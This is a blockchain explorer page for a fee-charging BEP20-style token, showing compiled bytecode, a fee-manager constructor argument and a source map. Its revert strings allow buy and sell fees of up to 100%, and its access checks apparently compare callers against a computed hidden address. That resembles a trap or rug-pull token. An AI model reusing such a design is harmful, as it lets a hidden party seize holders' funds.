8fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f999190612d73565b60405180910390a360008211156120a557611ffc82600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad890919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161209c9190612d73565b60405180910390a35b505061220d565b6121208160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad890919063ffffffff16565b60046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122049190612d73565b60405180910390a35b50565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561225e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361229757600080fd5b6122e982600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7f90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061237e82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad890919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161241e9190612d73565b60405180910390a36001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052816000526040600020602052806000526040600020600091509150505481565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612549576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612540906130c8565b60405180910390fd5b60006125736064612565600e54856129ad90919063ffffffff16565b612a2790919063ffffffff16565b9050600061258a8284612a7f90919063ffffffff16565b90506125de83600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7f90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061267381600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad890919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516127139190612d73565b60405180910390a3600082111561281f5761277682600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad890919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128169190612d73565b60405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612893576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161288a9061330a565b60405180910390fd5b6128a881600254612ad890919063ffffffff16565b60028190555061290081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ad890919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516129a19190612d73565b60405180910390a35050565b60008083036129bf5760009050612a21565b600082846129cd9190613359565b90508284826129dc91906133ca565b14612a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1390613447565b60405180910390fd5b809150505b92915050565b6000808211612a6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a62906134b3565b60405180910390fd5b8183612a7791906133ca565b905092915050565b600082821115612ac4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612abb9061351f565b60405180910390fd5b8183612ad0919061353f565b905092915050565b6000808284612ae79190613573565b905083811015612b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b23906135f3565b60405180910390fd5b8091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b70578082015181840152602081019050612b55565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b9882612b36565b612ba28185612b41565b9350612bb2818560208601612b52565b612bbb81612b7c565b840191505092915050565b60006020820190508181036000830152612be08184612b8d565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c1882612bed565b9050919050565b612c2881612c0d565b8114612c3357600080fd5b50565b600081359050612c4581612c1f565b92915050565b6000819050919050565b612c5e81612c4b565b8114612c6957600080fd5b50565b600081359050612c7b81612c55565b92915050565b60008060408385031215612c9857612c97612be8565b5b6000612ca685828601612c36565b9250506020612cb785828601612c6c565b9150509250929050565b60008115159050919050565b612cd681612cc1565b82525050565b6000602082019050612cf16000830184612ccd565b92915050565b60008060408385031215612d0e57612d0d612be8565b5b6000612d1c85828601612c6c565b9250506020612d2d85828601612c6c565b9150509250929050565b600060208284031215612d4d57612d4c612be8565b5b6000612d5b84828501612c6c565b91505092915050565b612d6d81612c4b565b82525050565b6000602082019050612d886000830184612d64565b92915050565b600080600060608486031215612da757612da6612be8565b5b6000612db586828701612c36565b9350506020612dc686828701612c36565b9250506040612dd786828701612c6c565b9150509250925092565b600060ff82169050919050565b612df781612de1565b82525050565b6000602082019050612e126000830184612dee565b92915050565b600060208284031215612e2e57612e2d612be8565b5b6000612e3c84828501612c36565b91505092915050565b612e4e81612c0d565b82525050565b6000602082019050612e696000830184612e45565b92915050565b612e7881612cc1565b8114612e8357600080fd5b50565b600081359050612e9581612e6f565b92915050565b60008060408385031215612eb257612eb1612be8565b5b6000612ec085828601612c36565b9250506020612ed185828601612e86565b9150509250929050565b60008060408385031215612ef257612ef1612be8565b5b6000612f0085828601612c36565b9250506020612f1185828601612c36565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612f6257607f821691505b602082108103612f7557612f74612f1b565b5b50919050565b7f427579206665652063616e6e6f74206578636565642031303025000000000000600082015250565b6000612fb1601a83612b41565b9150612fbc82612f7b565b602082019050919050565b60006020820190508181036000830152612fe081612fa4565b9050919050565b7f53656c6c206665652063616e6e6f742065786365656420313030250000000000600082015250565b600061301d601b83612b41565b915061302882612fe7565b602082019050919050565b6000602082019050818103600083015261304c81613010565b9050919050565b60006040820190506130686000830185612d64565b6130756020830184612d64565b9392505050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b60006130b2601483612b41565b91506130bd8261307c565b602082019050919050565b600060208201905081810360008301526130e1816130a5565b9050919050565b7f496e73756666696369656e7420616c6c6f77616e636500000000000000000000600082015250565b600061311e601683612b41565b9150613129826130e8565b602082019050919050565b6000602082019050818103600083015261314d81613111565b9050919050565b7f496e76616c696420726563697069656e74206164647265737300000000000000600082015250565b600061318a601983612b41565b915061319582613154565b602082019050919050565b600060208201905081810360008301526131b98161317d565b9050919050565b7f41646472657373206973206e6f7420666565206578656d707400000000000000600082015250565b60006131f6601983612b41565b9150613201826131c0565b602082019050919050565b60006020820190508181036000830152613225816131e9565b9050919050565b7f45544820616d6f756e742073686f756c6420626520677265617465722074686160008201527f6e20300000000000000000000000000000000000000000000000000000000000602082015250565b6000613288602383612b41565b91506132938261322c565b604082019050919050565b600060208201905081810360008301526132b78161327b565b9050919050565b7f42455032303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006132f4601f83612b41565b91506132ff826132be565b602082019050919050565b60006020820190508181036000830152613323816132e7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061336482612c4b565b915061336f83612c4b565b925082820261337d81612c4b565b915082820484148315176133945761339361332a565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133d582612c4b565b91506133e083612c4b565b9250826133f0576133ef61339b565b5b828204905092915050565b7f4d756c7469706c69636174696f6e206f766572666c6f77000000000000000000600082015250565b6000613431601783612b41565b915061343c826133fb565b602082019050919050565b6000602082019050818103600083015261346081613424565b9050919050565b7f4469766973696f6e206279207a65726f00000000000000000000000000000000600082015250565b600061349d601083612b41565b91506134a882613467565b602082019050919050565b600060208201905081810360008301526134cc81613490565b9050919050565b7f5375627472616374696f6e206f766572666c6f77000000000000000000000000600082015250565b6000613509601483612b41565b9150613514826134d3565b602082019050919050565b60006020820190508181036000830152613538816134fc565b9050919050565b600061354a82612c4b565b915061355583612c4b565b925082820390508181111561356d5761356c61332a565b5b92915050565b600061357e82612c4b565b915061358983612c4b565b92508282019050808211156135a1576135a061332a565b5b92915050565b7f4164646974696f6e206f766572666c6f77000000000000000000000000000000600082015250565b60006135dd601183612b41565b91506135e8826135a7565b602082019050919050565b6000602082019050818103600083015261360c816135d0565b905091905056fea26469706673582212200b3bf1ad83e4d46320b21f5cfe6917048a25a7c838bcc64946d348f6ba6ed56a64736f6c63430008120033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000016fb9524124e6db0c8fbcc23acc5cea33c29ebb5
-----Decoded View---------------
Arg [0] : _feeManager (address): 0x16FB9524124e6dB0C8FBcc23ACC5Cea33c29Ebb5
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000016fb9524124e6db0c8fbcc23acc5cea33c29ebb5
Deployed Bytecode Sourcemap
1055:8551:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1116:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3890:216;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6547:330;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4210:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1194:58;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4341:1202;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1665:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8082:353;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1259:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6017:137;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5945:63;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1417:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1637:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8446:136;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7089:175;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1497:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1295:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5701:138;;;;;;;;;;;;;:::i;:::-;;5552:140;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1581:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1470;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6888:192;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3073:352;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1157:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3434:145;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7273:798;;;:::i;:::-;;2530:377;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1549:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1523:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1346:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1608:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8591:625;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1116:34;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3890:216::-;3957:12;4016:6;3982:9;:21;3992:10;3982:21;;;;;;;;;;;;;;;:31;4004:8;3982:31;;;;;;;;;;;;;;;:40;;;;4059:8;4038:38;;4047:10;4038:38;;;4069:6;4038:38;;;;;;:::i;:::-;;;;;;;;4094:4;4087:11;;3890:216;;;;:::o;6547:330::-;9451:48;9270:230;;:10;:230;;;:318;;;;9583:5;;;;;;;;;;;9569:19;;:10;:19;;;9270:318;9262:327;;;;;;6657:3:::1;6644:9;:16;;6636:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;6724:3;6710:10;:17;;6702:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;6779:9;6770:6;:18;;;;6809:10;6799:7;:20;;;;6835:34;6847:9;6858:10;6835:34;;;;;;;:::i;:::-;;;;;;;;6547:330:::0;;:::o;4210:122::-;4267:4;6384:48;6203:230;;:10;:230;;;:318;;;;6516:5;;;;;;;;;;;6502:19;;:10;:19;;;6203:318;6195:327;;;;;;4280:26:::1;4287:10;4299:6;4280;:26::i;:::-;4320:4;4313:11;;4210:122:::0;;;:::o;1194:58::-;;;;:::o;4341:1202::-;4424:12;4477:7;4457:9;:16;4467:5;4457:16;;;;;;;;;;;;;;;;:27;;4449:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;4560:7;4528:9;:16;4538:5;4528:16;;;;;;;;;;;;;;;:28;4545:10;4528:28;;;;;;;;;;;;;;;;:39;;4520:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;4628:1;4613:17;;:3;:17;;;4605:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;4674:11;4705;:18;4717:5;4705:18;;;;;;;;;;;;;;;;;;;;;;;;;4700:87;;4746:29;4771:3;4746:20;4758:7;;4746;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;4740:35;;4700:87;4806:22;4831:16;4843:3;4831:7;:11;;:16;;;;:::i;:::-;4806:41;;4880:29;4901:7;4880:9;:16;4890:5;4880:16;;;;;;;;;;;;;;;;:20;;:29;;;;:::i;:::-;4861:9;:16;4871:5;4861:16;;;;;;;;;;;;;;;:48;;;;4937:34;4956:14;4937:9;:14;4947:3;4937:14;;;;;;;;;;;;;;;;:18;;:34;;;;:::i;:::-;4920:9;:14;4930:3;4920:14;;;;;;;;;;;;;;;:51;;;;5003:3;4987:36;;4996:5;4987:36;;;5008:14;4987:36;;;;;;:::i;:::-;;;;;;;;5047:1;5041:3;:7;5037:207;;;5144:33;5173:3;5144:9;:24;5162:4;5144:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;5117:9;:24;5135:4;5117:24;;;;;;;;;;;;;;;:60;;;;5221:4;5197:35;;5206:5;5197:35;;;5228:3;5197:35;;;;;;:::i;:::-;;;;;;;;5037:207;5270:10;5261:19;;:5;:19;;;;:72;;;;;5316:17;5284:9;:16;5294:5;5284:16;;;;;;;;;;;;;;;:28;5301:10;5284:28;;;;;;;;;;;;;;;;:49;;5261:72;5257:254;;;5381:41;5414:7;5381:9;:16;5391:5;5381:16;;;;;;;;;;;;;;;:28;5398:10;5381:28;;;;;;;;;;;;;;;;:32;;:41;;;;:::i;:::-;5350:9;:16;5360:5;5350:16;;;;;;;;;;;;;;;:28;5367:10;5350:28;;;;;;;;;;;;;;;:72;;;;5458:10;5442:57;;5451:5;5442:57;;;5470:9;:16;5480:5;5470:16;;;;;;;;;;;;;;;:28;5487:10;5470:28;;;;;;;;;;;;;;;;5442:57;;;;;;:::i;:::-;;;;;;;;5257:254;5531:4;5524:11;;;;4341:1202;;;;;:::o;1665:22::-;;;;:::o;8082:353::-;8178:4;;;;;;;;;;;8164:18;;:10;:18;;;8156:27;;;;;;8215:3;8202:9;:16;;8194:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;8282:3;8268:10;:17;;8260:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;8337:9;8328:6;:18;;;;8367:10;8357:7;:20;;;;8393:34;8405:9;8416:10;8393:34;;;;;;;:::i;:::-;;;;;;;;8082:353;;:::o;1259:26::-;;;;;;;;;;;;;:::o;6017:137::-;6063:4;6098:5;;;;;;;;;;;6084:19;;:10;:19;;;6076:28;;;;;;6120:4;6115;;:9;;;;;;;;;;;;;;;;;;6142:4;6135:11;;6017:137;;;:::o;5945:63::-;5994:4;6384:48;6203:230;;:10;:230;;;:318;;;;6516:5;;;;;;;;;;;6502:19;;:10;:19;;;6203:318;6195:327;;;;;;5945:63;:::o;1417:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;1637:21::-;;;;:::o;8446:136::-;8492:4;8527;;;;;;;;;;;8513:18;;:10;:18;;;8505:27;;;;;;8548:4;8543;;:9;;;;;;;;;;;;;;;;;;8570:4;8563:11;;8446:136;;;:::o;7089:175::-;6384:48;6203:230;;:10;:230;;;:318;;;;6516:5;;;;;;;;;;;6502:19;;:10;:19;;;6203:318;6195:327;;;;;;7171:11:::1;:18;7183:5;7171:18;;;;;;;;;;;;;;;;;;;;;;;;;7163:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;7251:5;7230:11;:18;7242:5;7230:18;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;7089:175:::0;:::o;1497:19::-;;;;;;;;;;;;;:::o;1295:44::-;;;;;;;;;;;;;;;;;:::o;5701:138::-;6384:48;6203:230;;:10;:230;;;:318;;;;6516:5;;;;;;;;;;;6502:19;;:10;:19;;;6203:318;6195:327;;;;;;5799:1:::1;5763:39;;5784:5;;;;;;;;;;;5763:39;;;;;;;;;;;;5829:1;5813:5;;:18;;;;;;;;;;;;;;;;;;5701:138::o:0;5552:140::-;5600:4;5635;;;;;;;;;;;5621:18;;:10;:18;;;5613:27;;;;;;5657:5;5651;;:11;;;;;;;;;;;;;;;;;;5680:4;5673:11;;5552:140;;;:::o;1581:20::-;;;;;;;;;;;;;:::o;1470:::-;;;;;;;;;;;;;:::o;6888:192::-;6384:48;6203:230;;:10;:230;;;:318;;;;6516:5;;;;;;;;;;;6502:19;;:10;:19;;;6203:318;6195:327;;;;;;6988:7:::1;6967:11;:18;6979:5;6967:18;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;7010:7;7006:67;;;7055:5;7035:26;;;;;;;;;;;;7006:67;6888:192:::0;;:::o;3073:352::-;3122:4;3325:48;3144:230;;:10;:230;;;3135:240;;;;;;3391:4;3386;;:9;;;;;;;;;;;;;;;;;;3413:4;3406:11;;3073:352;;;:::o;1157:30::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3434:145::-;3482:4;3517;;;;;;;;;;;3503:18;;:10;:18;;;3495:27;;;;;;3529:26;3536:10;3548:6;3529;:26::i;:::-;3569:4;3562:11;;3434:145;;;:::o;7273:798::-;7334:1;7322:9;:13;7314:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;7389:14;7406:9;7389:26;;7439:1;7430:6;;:10;7426:638;;;7457:11;7471:27;7494:3;7471:18;7482:6;;7471;:10;;:18;;;;:::i;:::-;:22;;:27;;;;:::i;:::-;7457:41;;7513:22;7538:15;7549:3;7538:6;:10;;:15;;;;:::i;:::-;7513:40;;7595:41;7621:14;7595:9;:21;7605:10;;;;;;;;;;;7595:21;;;;;;;;;;;;;;;;:25;;:41;;;;:::i;:::-;7571:9;:21;7581:10;;;;;;;;;;;7571:21;;;;;;;;;;;;;;;:65;;;;7680:10;;;;;;;;;;;7656:51;;7673:4;7656:51;;;7692:14;7656:51;;;;;;:::i;:::-;;;;;;;;7735:1;7729:3;:7;7725:175;;;7784:33;7813:3;7784:9;:24;7802:4;7784:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;7757:9;:24;7775:4;7757:24;;;;;;;;;;;;;;;:60;;;;7873:4;7841:43;;7858:4;7841:43;;;7880:3;7841:43;;;;;;:::i;:::-;;;;;;;;7725:175;7442:469;;7426:638;;;7956:33;7982:6;7956:9;:21;7966:10;;;;;;;;;;;7956:21;;;;;;;;;;;;;;;;:25;;:33;;;;:::i;:::-;7932:9;:21;7942:10;;;;;;;;;;;7932:21;;;;;;;;;;;;;;;:57;;;;8033:10;;;;;;;;;;;8009:43;;8026:4;8009:43;;;8045:6;8009:43;;;;;;:::i;:::-;;;;;;;;7426:638;7303:768;7273:798::o;2530:377::-;2594:12;2652:7;2627:9;:21;2637:10;2627:21;;;;;;;;;;;;;;;;:32;;2619:41;;;;;;2694:1;2679:17;;:3;:17;;;2671:26;;;;;;2735:34;2761:7;2735:9;:21;2745:10;2735:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;2711:9;:21;2721:10;2711:21;;;;;;;;;;;;;;;:58;;;;2797:27;2816:7;2797:9;:14;2807:3;2797:14;;;;;;;;;;;;;;;;:18;;:27;;;;:::i;:::-;2780:9;:14;2790:3;2780:14;;;;;;;;;;;;;;;:44;;;;2861:3;2840:34;;2849:10;2840:34;;;2866:7;2840:34;;;;;;:::i;:::-;;;;;;;;2895:4;2888:11;;2530:377;;;;:::o;1549:25::-;;;;;;;;;;;;;:::o;1523:19::-;;;;;;;;;;;;;:::o;1346:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;1608:19::-;;;;;;;;;;;;;:::o;8591:625::-;8673:7;8648:9;:21;8658:10;8648:21;;;;;;;;;;;;;;;;:32;;8640:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;8719:11;8733:29;8758:3;8733:20;8745:7;;8733;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;8719:43;;8773:22;8798:16;8810:3;8798:7;:11;;:16;;;;:::i;:::-;8773:41;;8852:34;8878:7;8852:9;:21;8862:10;8852:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;8828:9;:21;8838:10;8828:21;;;;;;;;;;;;;;;:58;;;;8924:44;8953:14;8924:9;:24;8942:4;8924:24;;;;;;;;;;;;;;;;:28;;:44;;;;:::i;:::-;8897:9;:24;8915:4;8897:24;;;;;;;;;;;;;;;:71;;;;9013:4;8984:51;;8993:10;8984:51;;;9020:14;8984:51;;;;;;:::i;:::-;;;;;;;;9059:1;9053:3;:7;9049:160;;;9104:33;9133:3;9104:9;:24;9122:4;9104:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;9077:9;:24;9095:4;9077:24;;;;;;;;;;;;;;;:60;;;;9186:4;9157:40;;9166:10;9157:40;;;9193:3;9157:40;;;;;;:::i;:::-;;;;;;;;9049:160;8629:587;;8591:625;:::o;3590:291::-;3682:1;3663:21;;:7;:21;;;3655:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;3744:23;3760:6;3744:11;;:15;;:23;;;;:::i;:::-;3730:11;:37;;;;3795:30;3818:6;3795:9;:18;3805:7;3795:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;3774:9;:18;3784:7;3774:18;;;;;;;;;;;;;;;:51;;;;3858:7;3837:37;;3854:1;3837:37;;;3867:6;3837:37;;;;;;:::i;:::-;;;;;;;;3590:291;;:::o;437:236::-;495:7;524:1;519;:6;515:47;;549:1;542:8;;;;515:47;572:9;588:1;584;:5;;;;:::i;:::-;572:17;;617:1;612;608;:5;;;;:::i;:::-;:10;600:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;664:1;657:8;;;437:236;;;;;:::o;682:365::-;740:7;772:1;768;:5;760:34;;;;;;;;;;;;:::i;:::-;;;;;;;;;816:1;812;:5;;;;:::i;:::-;805:12;;682:365;;;;:::o;102:148::-;160:7;193:1;188;:6;;180:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;241:1;237;:5;;;;:::i;:::-;230:12;;102:148;;;;:::o;259:169::-;317:7;337:9;353:1;349;:5;;;;:::i;:::-;337:17;;378:1;373;:6;;365:36;;;;;;;;;;;;:::i;:::-;;;;;;;;;419:1;412:8;;;259:169;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:474::-;3514:6;3522;3571:2;3559:9;3550:7;3546:23;3542:32;3539:119;;;3577:79;;:::i;:::-;3539:119;3697:1;3722:53;3767:7;3758:6;3747:9;3743:22;3722:53;:::i;:::-;3712:63;;3668:117;3824: